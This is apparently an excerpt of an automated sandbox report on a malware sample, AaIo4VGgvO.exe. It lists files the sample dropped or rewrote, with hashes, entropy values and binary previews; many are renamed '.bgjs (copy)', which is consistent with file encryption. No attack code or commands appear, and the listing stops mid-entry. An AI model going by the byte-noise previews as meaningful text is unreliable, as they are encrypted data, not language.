dnN.z.A....U.o...+.......K.y..h...vL......;E,<..i.."....hT.2k2.h....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\YPSIACHYXW.mp3

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868493526374118
Encrypted:	false
SSDEEP:	24:xz5B6Tg5+5PgJV+sq7crammb95k+0e4vlP6L71RyGPgVVxNwOTjQR92PK4EbD:x6T6VWorammUi4vlSLgTnTjQR9HD
MD5:	832AF1EADB83E38AF9A7B91E089A1315
SHA1:	9CC6E3FF35E340A3E362B226CABDEDD55E08B77D
SHA-256:	5E88BDD9DF618205CDA83657FA3AC33542C35B27D78BFB2C159BEC93E3C673B1
SHA-512:	EE2B299444FD8B4A2798388DFA200AE606FA3A52E8507D838CC927FDA0C5B839F8124BDF07A311E68CFC8BE1BF583C8F9FBFB014394B0000CA30D5174BCB3F24
Malicious:	false
Preview:	YPSIA.(.;1....{.i.L....Ey.Q..:.....X...I..x.$~7^...:...;.P..bs.C!......3]...5..>.N..#+...6...;e...h.RL....#..3_.r..F.5.....T......t.G^..b\...?.&R..oVP......@S.(..........M.../...ap{..Mr..).B-..@.V...:..c....vh.o.I.....?....d...~.d...?..ps..:...;.Zv.n.....e...._.T..yKQ...........L...u...8..a...:3;.`.L..'c..B...Y.FHy...k^....]......x6...GFL...._t.._.Q..}U.=.T&ZH%A..L.....C..0........W.>..C......^.U.hM......2...\|.r6....O.h&.t..ma..zS6D@......`...p..b.K.... .Tc,.E.......\|..s<..u.....Wo...x`f....b~..S.#]..&......45...t1.y$.....P\.n...3.4.K.y....}~.G..o..D.}..x..l.....3..q.ClMH.]AG....Kwd.XP.2ZN.+./8GHw'%..\|M0kc[..g......d...j>$q.E..R......x...+.I.....J.=9..#L..X..j=fc.y......R..4.2~..A.0.,D.@..v.*U...:...ZW./..#.k...!.,.Y..w..`...V3..n..:.D....F..E.....@.n.W..M.g.u..(Q;....R4>..e5....lO.Ei..a.G...... .W...o..tt.x..Z..d..:\|.i.Q..dR}.='..1x..z...D'.....Q........eB........$.Z7.9.3....ud,g=....c.. ...%...t...N0....../......{...=;vX.T.".<@(..C. ./S}.#...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZBEDCJPBEY.png

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837610092057908
Encrypted:	false
SSDEEP:	24:wyUALbcF6dirwKHX4RvtfK54Z6hgcwhWFvvXBT4lqP3+Ta4tHmfEAjbD:SFHrwK349VKHhgsvvXBT4quTPQ3D
MD5:	B5D3CF2BB8799C41F88346A5E780976C
SHA1:	56DCDA0843999A7EFF0D966878C5E58D293F7D7D
SHA-256:	9B14488D4715687B09A6268F38EAF6B0708B60C01751892A80D3BDE5FA819B34
SHA-512:	2DC46E71506156A26B8EB7DC1191100235B8023A8648D75B4A04C363520A24391FA431871D10258CA2C925C28DB06AAF3D975CEFC060E1C350982B349B93FB30
Malicious:	false
Preview:	ZBEDCW.6....>.L......6..........\...T.HEA..%%ot....&..B.i...;.3M2.PJ8<.....F..n^.N.m.jA0.....b..E......\f.<f._..j>1..5oS..fq..WtP187K-.BI/.4..4.s.A.c....pU.x.n:..1.....x.H..G>...n...(.YWz.7....U...Sd.f.w....B..x.VF.;Y...M.8.....)/.......c"...c.nY...>WM.5..bT.`.._...N....~.. .....5:....OKF...y..RYa.M.P^9V].>....m.4.lH..;..C......./.m.n;..xb..+..e)..x...A..v..........O"iz...a.v...y..S.s...W.....&8.,..C..z...~.....r..'g.....V.[.....2..LYuN...}q\.z..>Yazl.d..yp.._@.o.l....G......x.....y..k..P.........I.9)...]...,jH....f...$.i.}AeH..p._..\s#3_.C.....3...$D.uA."YY.@@.,!.x!e...[...o...[^&.f.uS.g.......i....%..t gU...S...{9.P5s..X..B;q..cD.p.g.#.6d?....<..i..Ysd..PrC.p...Tk...._.....o....7..dca..9I...f.^.._..o..i.f../..pq.I.J..$.aV.....[.g...(...;q..N...@.S....G.....[.R{............_."'...&..S..R..cuCf....m..0..9Rn........J8....;...;..?...0.k\n..a5....y.j..Zc.u.)c._.0...M..e..}...5...D-.....H.s../...vM~.~....N..f.r.z.$Q.Mv..2p.:.."..&M...,<S3U

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZUYYDJDFVF.png

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852992374281825
Encrypted:	false
SSDEEP:	24:DkhfPbshzDshaQrzL7+9WTLLJSzFI+OT1uTfsQWYDtHbLbD:aKHsJCMLONMuTE+DdbvD
MD5:	18857A41440FD0B7387313836F43172F
SHA1:	23E31E3E9A37F87B4B1030C621C671364AB94CE7
SHA-256:	AED2D5E253FE59BFA0C8C2A52D82F0EDE0F38DA2B1A187C564EA6B01339FF3CE
SHA-512:	5E336C59D8F937F47EC08BED4EC21529CBB3616BAD08CE348AB6A925C6169A3A152BFFEA459B7559C30D6462D75E662FAF8EAC0185068189AD7375EB098D0754
Malicious:	false
Preview:	ZUYYD..OL=.H..{..t.e.C..g..A.x....5g...)(....:i..$'..+....5E...m.`.<\.PJ<.j.+...xJ.......\.3.........}Z.z...kr..P.......}.J+@S;..'.k.2.5.A..l..:.m.o.vO.}..d..W.....x.......>.U....t..o..#7a..Z3.ud{qj........).<.@.<....L.?P.~)M%.B.P.... . .SH..&@..x -..........}...a.6@j.VZ=C`.....0.......H..S..R.t./t.../..=X....2...U.Q].\......j\|..)..O}...g~.o~E........N.c....\|...[{...1H...T..qf.px.K.......4.,.8.v[x..R........$.BfYg\|........u.j...s....FltS..6..o..=)%.\|+1.. . <.4.d.c...R...J.....S.nz..q...h...3.N...c..35._4K.....gd..W.Jg........."...1...2g.3=.C..^.#nVh.)...l.3q..Z..Z7..Ly=.....S...}P{....+.vK1............Yg..+p....+. ^.H..x,X@O.+m.[......[..Vec?..\t6..........(G.\..E....w..2#<"le......MG....Q.4...r..Y..d.......:\..w......`.X...)..v'>RsR.YT.#d....fW..+.V.=./bR..G.....$....bd.E.D..px<...u.._L...>i.iX.cS"......I...8...K'y.. A..bm....`]....Z~.Uo....S....G.9.*V..'..K.a....(..:...X..\|.<L..!..V....[.e>)...}.....4v..A3.Ym5Y......$0.w.3.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\session-state.json

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	495
Entropy (8bit):	7.474793990230239
Encrypted:	false
SSDEEP:	12:YWeXDILyrNHrdStC9fabcvlKRT5q9YrRXszz1+cii9a:YJXWyrNHrdStC8bxG9YrR2AbD
MD5:	68C89AB2AEA4997447CC09E400CAB88C
SHA1:	802FFC63CBC6CDD338F2304312E9CDF2B5F757D2
SHA-256:	A7CC73AC052F7B36691F2444B6A10B22EB993E9A291E7AA38922356096615E9A
SHA-512:	E9EBD8F790F5AADC5617945750A30BB9A391382B81DDDD9D8355F7F64BE687606103F899C9B718953125DD44495079B4505DBD5BCD5496D9BC46E7CFC319033E
Malicious:	false
Preview:	{"ses.)....+j+..)..c6...f.-.......".V.W./.........XKK..rF.].oh.....X..........j(=3...[7.b.:.......O.P..pE.%v....0..@.....H...C..quy..>.\.i.._.t.P..c....b>{E.V.....=D}..Y.Kw..u.1.........dY....u6..}e.0..^.5.E.4..9...pkJ.Nk.<.w..q..nr-(.bcF..'K......lv%...j.^.[...e.i.,......:..k.....\|:..)b.[,.Fb..bU?...C',..7....EF.9....4.-0 ......^..7...7g..[....,.o`.q.T.z..e.IB.:9..E......lN.....(VU..... 3i.)SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\state.json

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	385
Entropy (8bit):	7.354625578491483
Encrypted:	false
SSDEEP:	12:YGYdmeXqB5e4tqxzTUxcsupDqJf1+cii9a:YxmeXqmkqFjXpDKsbD
MD5:	EFBD26F4A3D0395228414886F0662845
SHA1:	505A9E4658351B197166056600E1FCBE0E3167FF
SHA-256:	41D7DD4B32ED66A3F4B3F6E61007939CF2E3E9A33BCEF6B8DF2FE7A245F4ED1B
SHA-512:	45AA1A51F84150F01423DE15C422F4FFC31DF7A684A91A83B6047A3B3C3A4BA18A71E68DDD7F3C24FC01AAC00F721138382FCAE7AB41E0872AD71F3B6D110855
Malicious:	false
Preview:	{"cli..p..m...%..D.....v..\|.ZO.."A.vM.........6.\du.s.c3..Fb..L!%...}L.L.;..^....E....U.P/f1....6.....eF<SP.8$o.Ac..h..s...._mX.....P..0.mF...]>.cf.>...j..~e.>r......c.q..V.....CI./.s..0......hqt.g...5".~....R.....Mb..V.......]M.q.#fr.....V)E..S.}.....4...r..d. S...].AZ...0.l.)(.I..yRL....ZSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\previous.jsonlz4

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1550
Entropy (8bit):	7.884305779325756
Encrypted:	false
SSDEEP:	24:f+h2VH4sitj2CgnN2Q9E2i4EbNiZFVoSOMnD+jIrXMRQgW8Hfp0BXn/vwC4UbD:mgVHfJN2GilQvJb2I4+a/psXn3wCND
MD5:	78A8F8E2A16B296A504E13E9A343AA6E
SHA1:	262946AF4567D8DAB21E17F940B4179232A8C141
SHA-256:	ADD500FE937AF7A9F808221810F4B9077C45A3F9B3178C43B6B1DBC00C4DABEC
SHA-512:	2E8C0BC08B74C84B20943597037A70973792BCBFF4F894386E8CB180E4CAE9BD7DA69E2AF93F64996B2F5A94D7F25463334C42E329B77B69EE2BED46E6369198
Malicious:	false
Preview:	mozLz.....@./x%...A.d.......+)w..S...<...J.]5e...o...Cw./.Ej{.pT.>B."[.K.oO@J.l..m...T....<+.+I..hY./.@by...E.]..g.....y...l_`(..P..........c..1.=a.H$..L....G`.h..........@.y....h.."..J.....G.N~.....>.5.(..V_1...}.!...=..U.....d8S...F%.ie...qU>[..F...c..g......-Fl..!.B.Y`\.r..._...\.H.g5.d.......2ES[..w.P<...t .Q..;~.0q.....3...!...\......@...........:=....V.OfZ).+$&.\..1....'.O...}......lzq...oS.%.......u.M..B>6>.6.......:).........eBL..7..."&.fx........A...U..L....o.."U...C...xyp.B~.:.%,.V ....Sd..x.....\|K.....i.o......j..o.b..o.#...?04G.F..:......>3..\.;:.....$...u.=....KSr........j.....xL.....JJ.r......3..d?.>C...^m..x`..0!....9...qH......C.9H........^.o.Ub...<1E....H.....X..z.X?`. h..L.....R..+.7xMWh!S.`>`P.u.0vB..5...O..B....+..EMLj.S...`.J..'.1..\. `.(.s.(@C...sXa.M.....29.FX......$....[.n.....5.yS....U.t:<oF6...lDA^..QPy.$....:.......js...'].HmZ..t.gM0.......R.....8X........v.P.U.P.....l......#.P.1.R.?./...Z)l.F...V....9..z.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	4749
Entropy (8bit):	7.9573279581394045
Encrypted:	false
SSDEEP:	96:PkDc9Y1266g6Vejf2VNT0msCxk+6d7xEMIDWwr4LhsKs7nu6QqmEIz3qgmLEFF+:PQlBz27T0msEk+6d7mMIDWwBK76mN3ql
MD5:	192D5FB1A8BB1B85A1C06AFDDF9E6961
SHA1:	F6AF2506AD9F5C34C70872B67273B56416DF7055
SHA-256:	5399DC2A556A73B755012503444AA54855C058A89A127979391374CC0E01E5C9
SHA-512:	AAA8750B3FC3610E05006DC382D8A5C49AEFAB55ACCB08C5BCA6379ADA3ECE01C02CAED733E047B3FC9E6B5DC1AB17085F09DA163ACA06780E8CC22CA17D04F1
Malicious:	false
Preview:	mozLzMN...(.<oon...O>.7H.W..(....P.G..fl.F..^.gC88..d.^.d..I<X'F....P........n..$..%.p..../.....N...RT....&g..2{./5.R#....X...^r...&E...}x3..~..8x.....N.G..H.....}.Ut&..}.A.e.v-.9... ..X.4qw...../..b.1....Rh.Y=.:.v...;.D...B..W.?._j..QM.....&... A.=...="T.Gb.a.B(.r.....q.8...y,v......Fq...'....IU{.._.8He!%N..d_MWO..b...d...FB.p.9Foj.M\..~X.g.H.]...a....".(...~.'E.W.....:aj.o....j.G?...p~.Gt...UL.+.....7A.h........F...X.Y...+}.e..F..b.6..o._.x..1....X.j.fTvw.(e...ie.im..R..M2Zt......bgyC.R:..Rw.r..S.k....0....x.....N.J..A.k.....`E.ZkM...j..]..c.iM-.m-....#...(\|.'..H.E.$..rt.=a~^......hc.R...2t?..4..:........mY^...''.....u...S.0.P.........t..A.7.1LoR>....(..h.../CAB.+F.\|S.~.."^U..f:...6..a.o.DC..w~.....A.+].f....if......f..K.g..g^.<.U.y4T...Z...e.U.3w.w.(..1..W<jG.w:...$$.cu...n)......9.bt.I.=......`.."WT...}.*..%..n.I88....Z....z....i.w.k .sD..)./.p. ..X:.h.:...+..S..fm..........N..Wp/#d...M1.4......3.Zu<....$7r.B..n....a.xiNOU.O...[9"...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	131406
Entropy (8bit):	7.998564089472524
Encrypted:	true
SSDEEP:	3072:M8CNkaH4qjZ8o5Wk63TAlEy7SnEqXie0wR3fzsfUYAUPidRKNPo:TC6aHbjWofaTA7CEqSe4UYFeOQ
MD5:	40952880576AE2CE96504005DD14A266
SHA1:	0A87B424AB5D6F2EB127EBED9C7E84BB82A4C5D6
SHA-256:	F296E12A86E4EC3F207A3FF55254AEEE410AEBBE65BFDFA17DAC3E6E094C9E78
SHA-512:	65635BD32D5FAA8C72E3E8BE3B136A88658231150BE821FC20E9990D71128C84C857B2A791AD904F2E83CA80D08ABA723345D407EA38C547CBD9B494CACF3B62
Malicious:	true
Preview:	SQLit..J"."...k.J...0E.n./...Z.D........x.v!N....O.~..p4.Z.C_..Sh..yh.O]...l.......V...%..\.\|@...L...Npg.K..?^.......C,.R.a.U.Z7.<.\|..[.C4+./....X:.........i......g....c.E......<.U.....,...k.D......P...Uj+.<K:6...U......j..............P...........8.pY...8......G:.M.......8q..^.OJoC.<}..W..u:z#.F.J`.....I.+AsH..K4..5W......:........D.(...D.!...0....I...+.lN.-...p.....>.-.W.s.....Y...s.."m.V..h{......!.KevF...4.ep....{.D...s...f\|.....WO....S5. ...20....\|3)...R.3....w.Rj..N@Y.HE5...O\.`&......l.;.,c..Lw......w.mD.A...e.G.@......Z.w..Q........RvU.......7.Yv .}..z^.b.~i-..%.....Ys.....Z.x....E.D...Rg.G{.;/.c.?..Z...qM......,.W...9p....Z...?2.S.w..>....g...C3.F...#"."..9.s.N..4Q......H.....i.N5..\|..>8.X}.....-..uW.."T>?....'...-aT<.^.:.e.x4.l.^?5.4...H.!.;.......L.<......2.Q. .w.....B./v..&..K....%.O..E..5jhVE....P.[t`.Y..W.O0.6.4...2..Zk.C..X.8}.....f8Q..t.\|....3R......?...vz..X..k".g..d.2..aF.....H.Nm..f....c.[.....b..w..1Jg.....gO...

C:\Users\user\Application Data\Adobe\Acrobat\DC\TMDocs.sav.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.317517204015572
Encrypted:	false
SSDEEP:	6:ujk2WKdqYLdA3samd49USvY5IYlfC43Od74Kealnk5ZUy8BwOzxcYMWyc3cii96Z:crZq+dA3spd49IWYlfG7tealk8Llc1+X
MD5:	ADF9EB5519648761AD78F05A97606CF9
SHA1:	AB43C6428CA5B7DD37DD1E745DAF66379298E8B9
SHA-256:	6DFC51FC11EDF94CC2789952E31CFDAC342CB4D406066E88791730DC605338B8
SHA-512:	126450A53CE6EC01EF4A4C9644E4AF51832120287AF9CCA42DDA69026011F35CCC6BCEBDEB11FB040A9F5480CDCF03E3CF76606A671A8E40081C9CEB4A8C4596
Malicious:	false
Preview:	%PDFT.P5.KX...< .R.=.M..6.!....x.0z.>....S.q\|...K@..r...J}.!.e......5.,...aZy.S...c.K.#...+7(;..-./.;.VAnt..B.S..n..p......&. ...%.M..()U...z.F.N.B.+3..W-o.H/.......=.."BQ].G.....a....j.').74O..+6....D.w#.".t`...'8.?.-..AM..!v....3..iJXB2.m..2!.6.......JW.(....R.4..>d...Y4.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Adobe\Acrobat\DC\TMGrpPrm.sav.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.452386644040009
Encrypted:	false
SSDEEP:	6:HVwUKAGZmlRrF9lLc37KE/6R5AypYnpoTA0iNimC4oWyc3cii96Z:7zzNLlI37K46R5fpYpo3ARo1+cii9a
MD5:	B259EDE0E584872A3E21DF558D86758A
SHA1:	C1CFB49352E933050D70B5307F91ABA10B5FEF2A
SHA-256:	984325A846171D6B68932ECB077981A450AB34A95E761F856BBBAF59701B3D8B
SHA-512:	B040164A0B58148A2D556A5AE17EF1E22EFB54CF61042E55C1F13F6A67B39B9B7B6CBC0F356DC025E4BC8FFA7428564774BBEDBF81B8A0779ACBC97A2A142BA7
Malicious:	false
Preview:	%PDFT..-..v.I.5F..Fx.....<.....B.,.....Ie.....#a1Q...&m...../i..h..H.6C' .0.+..&..7Xv`Y..l.uqN.....+q.....}...c.d.pz..R...n........8.dO#..z{.p....e"C..."....ey:.Z...&..:f.....U,<<.]......."c;..a..Q\..^........M8]6._...[,O.!.......W..w..M..dU..0.d'r.{6...$_AM......H.)0g]u.>.[`.PA.......C5.kSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Microsoft\Windows\Libraries\CameraRoll.library-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	7.8456865615279945
Encrypted:	false
SSDEEP:	24:vCAmJZWo96IC5AzovZCsgqLgOXvhkixUIKlfrWtSF5+1VPk/gbD:aj96KW3fX5kiiIKlfqU5+ACD
MD5:	7930BFA0E8C96B91AEFCDCD44E5F7FC9
SHA1:	9696178BFA5C37140E8A2067952B4C4A12361108
SHA-256:	CFE461F9CED67F25C634A48355B60E842FA4C70D01AFC377EAB6BA0B1F89088F
SHA-512:	B0A736F2CF2B5F288EEE44826B2D1B0A224BFAB183C1791D6F5BB71EB7E89DE2C9152ADF127913B97A2BB907A1143BFFF587575863AD23EAED2848E91402E3E3
Malicious:	false
Preview:	<?xml........_......+bA'..0.If.uA...`X.f2.d.9.z\|F....qwVc95x.%....v;..,.;F..?.......Z.dkf.#+.0.c..(.>.)...p.d......#..T.....,D..2S...8...>..n......u..AsC0....]0.>x..d...l.qq!j........q..[q...^.2.4A.}.j..5......'k....yE...\G.ZO...X(;...I.@.-..g.\|....=...w_.......dA:...i502..t.?.V.....]...3C.....'..u..{....#\.sA...8&.jA$o.k.G.0.`..z.{...Y.........0o..[...V..3m....t!...D.p&.........S..2.:...=]e....W.....B.)...=....\..Y3G./..D.:1ee.......~=mS...<......c....+..Bo1....^M..\D...9.,.(.j.5e.6.j.d. ..O'..^.\|...r~.b.4e`.:S...Y.].t.[....._.&^.B.<PGg....N.E.. 2E"z. .....-qQ.O:,;aA...c.IN.....G.Z\|.......e.S.b..Y.:J.\|....J.....q..j91P...n.L3:.12..."$..0m.2..%ZU..q...R[ZE.C.......ybX.bMVL..o.....\My.E.92...s...\|.o(.H7..}+G.... .+.Jo.`....8dB.>......<....@..y........F.%....,.X.\ ...Y......0..6z....&S?.[.(.....Q....#.e..o...n&..eP..Y..5..[.gn........,0Xr]y.3....G..r.L5.f.'l}..o.;9.@..Es...Q..=.W...=..8....)..t...@..(3V.u.-. \|..y.{P..8.(?.k.T..........0...

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Documents.library-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2424
Entropy (8bit):	7.911016509898834
Encrypted:	false
SSDEEP:	48:ZvajCboKuCNvf2HCSOcJSL7/GlPZeG62/9WST2kHnjdk6bPD:RsCboKuCNICBl2ZZeG62/9npDdki
MD5:	9677B3399A84A8F34C81F5DE79F9DD3A
SHA1:	FC245270127144949A613787B520115BA7CBC1A8
SHA-256:	AAA4AE1D80D76E13BC6042968E10918D98EFDA50BF5185B965D7B839A01C9483
SHA-512:	51B1B4FA3B282C2B84DC39CB77D92DD67946EC76EA6363AD09AF480CD6A5AF237D57A2F2B44B3184472647DAA8B4150D370F14EE9F4AD6336DA97DBE5FF6742F
Malicious:	false
Preview:	<?xml6.k.gLL.q.V.R.4..[#o..I..[..>.H.;. =...............!%........>..c%9K}z.....?.cR..w..t...4.W......$...2#v..d..JL..0..#,9...Q`.l.\|$.Q..r.C...]YO5-t.6.W.J<.FT'.....8....qx'.&..:...F...t....q.h........@v.....T.j>~....w..Y........m=..".Y.v"..a..J..F.2\!Y0n.x\..%.J/..V..C..R...\.p.mR...\.~....n.@....y..A..//..+.(.\|..5.Y....M...c.....(...x.i...~....O.zW.Y0p.......+...R.(o..a._.Ew....W..D4`..V..?.Ie.3z....U..W...)..T....u.....NP............opS.;V.X...E.~}..9.......P.. ...Z.J..$s.."}...M.I...".`.De5..o..j..d.X..S.U.b.../.........Z!}...#...a.\............z'...Ul$.q....s.A.V...w..U}...o.....\|..]W~.B.;s.....o.....j.....bsF...S....Z..Z..l.F.L.\|.<6....l7..uL.Kdm.0.. ./].n.Qj....]W.a.\|./}....(k.s....W..@'(&.F6M..d5+]e5&..6.S..V...]~..E.....e.Ti..6.....^.A.eW.c..I.....>.s..UWf.0.Y...F..k.j....6..?.ka...O)Zh+H.S....9....3dL..O.x.Ls......=.."P..j.b_....md......../....C. .@.. ..-.k+.Q"Wu%..wD.Q2.k....i..Q...H..Az".`9.Y9.Q......B%l6.}...A;.r

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Music.library-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2381
Entropy (8bit):	7.9177398297864405
Encrypted:	false
SSDEEP:	48:Fz926+OU97MXsLIZgZr4luqhN/VeHY+rlDcAqLGYHCKWJpnzy+Q2v1D:FzOOKcOIZc0pYZrlD0GKqp9rl
MD5:	AEDF8C3BE9E230C9F71E008086D5139E
SHA1:	CB21799CE14462A8119DBAD30B1FCB7D950009D1
SHA-256:	13E249379AEEF45B3EB3F8AF75B8EAA6EBA969CB53F65AAFCB43A8E301418335
SHA-512:	0AE2BC54C814FE3A13CA0F59D48189FBBA0FA6FA6262E5DB37A6C27FFECF0A74A87DC718BE539341F37106AB4CCE2D226A776BDE1A6D55FB473F10FA6F6F60A5
Malicious:	false
Preview:	<?xmlkzx..p.xWpM.)vj.gf...(W...f........3-=.(..R.....>....<.V0.D.+.....3Q.N5l...Or.].....;..w.\.....Sc[......\|.W^..t~3V.\.{..P...y...sr.6......y,..x{Y.&aD.5......!A.Zg".0.LE...c,S...5'..F......=.v......z..51...=z.6.M....S..q....;......+7...J.6 ...}..[7..T.db=z.`/ `n.!.T..=..m.......>... 0...+.R.-..x..p.}.......B...ir\|z.2.G......o...~.L..$k./$.OH....g.S..N...89}...nqH.....Z?...l.".vD0.O......A&...1....C..cqy.(dZ!.A..7......m.D%....Zh$;.-..g........S5<..y..hu1.......,,:..8d.......~<.KQ6.p`.[A.\|.3Q"....<.i.!....F..\....f..F.~S.."/.ag..........Sn.......[.&.:l^.e.....f.....IY..Go#.X...X.6..)B@...7..!?...T.0......-.DR,m.....4..W..g...K.6....y.........(.}..>..qZ..su.]R..#]....3.h"N.Q......P-}-.o.d./..0..)1....K.&..;......%..6q..w...,M..O...T.j..\.....V...rT...d.../n.!..7p.s.r.k...[LP.A.m.\..i...ORqW..?.~.T.!9....Q.D.N..j]^....Z.....-...,......l.U...uhI...f.=......r.#.........6...Q..........X-.U.7J._...W..#-..P..i-Wh.SD.......y] .o.....B.}.y^......

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Pictures.library-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2398
Entropy (8bit):	7.920467455754991
Encrypted:	false
SSDEEP:	48:FVqsFf9bH2gsZb4KuTVl5IpoRKFW8Wi7zpLwhmD:vnPb+ZbpuT5I+aW8WWVLc+
MD5:	C48C73CCA1248D33284749C87DD4B4E6
SHA1:	54F4F23CBC5C0B162DCD3599679CED3FE87AC45A
SHA-256:	5D86B42B2B656721B387B685EE08376E74A115E8DC95FB228B09EDD2C30461D1
SHA-512:	05F734E5A4AF0194DFA7A435C082E97BFEBB3A45027DECDD2F5E13E6CB01F06AAA9D16997ECDF0CFDCFAC70A9D23B5C1F2E68E41D9785648EF67D7A9C902BAA9
Malicious:	false
Preview:	<?xml....$..mgE\|....mFr.}(.V.....(..........&.<~_.4-.Et.4+....!.....s7....^.O.P!......yWn\|[....W..g....S..V.ho.DOY@....s.z."~.<..:......Ch..>.\....H+......07....N...0..\|I....7.80B........'D.......+@..v....C3....d....Hu...e.Z..@.W.z.m..wwW.wL.+.Ld&1..,k."(Q.'"+...E.L...g..\|..`xX...{.Q5.......#.g.n..O..6..,./,...8=^.e.6....!W.}o .-...~.Kq.V...._.......i..o!...,.V.k.R....@4.9)3.....3.....G..'...E.....y.l.Y.....[$..R.LK.WWY.b.>.....^......7.rx.....]....Q.......H.5H.l......{...E,........l.JJ..`......4..5h...H.WPf..v....TdXx..@.h.hl\|.r.\...t....\c.v4+...t.8@...+.%Y......A7..f.;x.5_....-&.$. ..lO...... ...k.i.....'....\|.&)..T0.5wf).{jfN7uJ.....\......k../...m.K.[.N...H......$Y..........X..Ox..^4........u.......)j............\|.........b....v,u.TY..O..z.[...pE`...y32>..8S3.:5.S..^........S{.DP.....ER......MV.C.{.Q..j.SzRd.D...Z~.}5..I.>"...I.....]P'.....a...J..../....i....0.!.....j4E~.3..1..)....k.?eB..r....fj.N@.I3{MQ2...s...5...#.a...$.O.

C:\Users\user\Application Data\Microsoft\Windows\Libraries\SavedPictures.library-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.843711974922359
Encrypted:	false
SSDEEP:	24:lbAxoBmpZyNia/3YZ1ggOEOTUVTt5JobqTJtQ1fEWQWMdnsbD:NA2QZyMa/0OZTiTqq2pw4D
MD5:	0C1F008F922C531308A9A0432EDC6E68
SHA1:	2329078CD2D4DC0A61C7F25906D491688E51557D
SHA-256:	5F1DA6874386B6FADE5EB65AF35763FA33679702F3D654529C848608C59F058D
SHA-512:	15C659316E833F2CD51FFA6C287CEF9297BD2464149718096097A13AE797BDB22AF922EDA4C57236DAE81E599D675EAF4ECEF8D903C5B39A8CBF6C17F9ADD329
Malicious:	false
Preview:	<?xml.....y.z..8+...B..+.bs....... .P......{....Q...0._,7y.]..X...T})hW......M.]_......P..P.a...m#.........r..U....Y....l..1G.....hz...{...L 9......\|Ca.0Z.....a.p.Q+..Q<?_..Z.4w.(N..$k...r...........W...".`;.T.n.P.D.......F....i.zECV@Y........}x...Q.R.:.K..:.n.D..m.-33..O....u...s...N...T....\|.w.....U~/...m.....J....N...@...j..^..7.`-U^...PK...X..f...0b?..rt.....B<A)"...].\|8.%..,1..+p.,.?.(Q..1.f.I..(.n....i.+.~.2.zn.K.H.8.}.c......z..]."..j..K...JU..98.M.m;......`8..@.b....Q.^.).Hn.\#....h..q[{j6..U.X....Dq.v..#.V.tb.F......)SO.{.d..F@........b......2...F.....Hr.s..~....r...P.Pah.....T...&N....../f<......p..E.O..K..2.Yk..A...!W... ...8....E.>..\..@)..).`.=T.......:..A.\..:....@..D...[pMM3...U.0...y$?....=\|`...m....X.hF?6...[^]..^I.J..`....Zj.Bm..Fy...5q.].A...My..F>.<....W..Q.D......`.>.. .E~.?j!.2.`..b..B....\..+....."r.....}.c.-;....\|p.k..g.+.I....M..k....aj2...E.c.Q.,......6..b..[..JHh..b!.....u.U.CL.....7e...M.q.....v{)A..

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Videos.library-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2409
Entropy (8bit):	7.921905982048339
Encrypted:	false
SSDEEP:	48:P2LxdRzNf099BONJCdgdjFjR21WMGW/TjPFjnNBcI7D:P8xdSXO3Hf9HQnPT2K
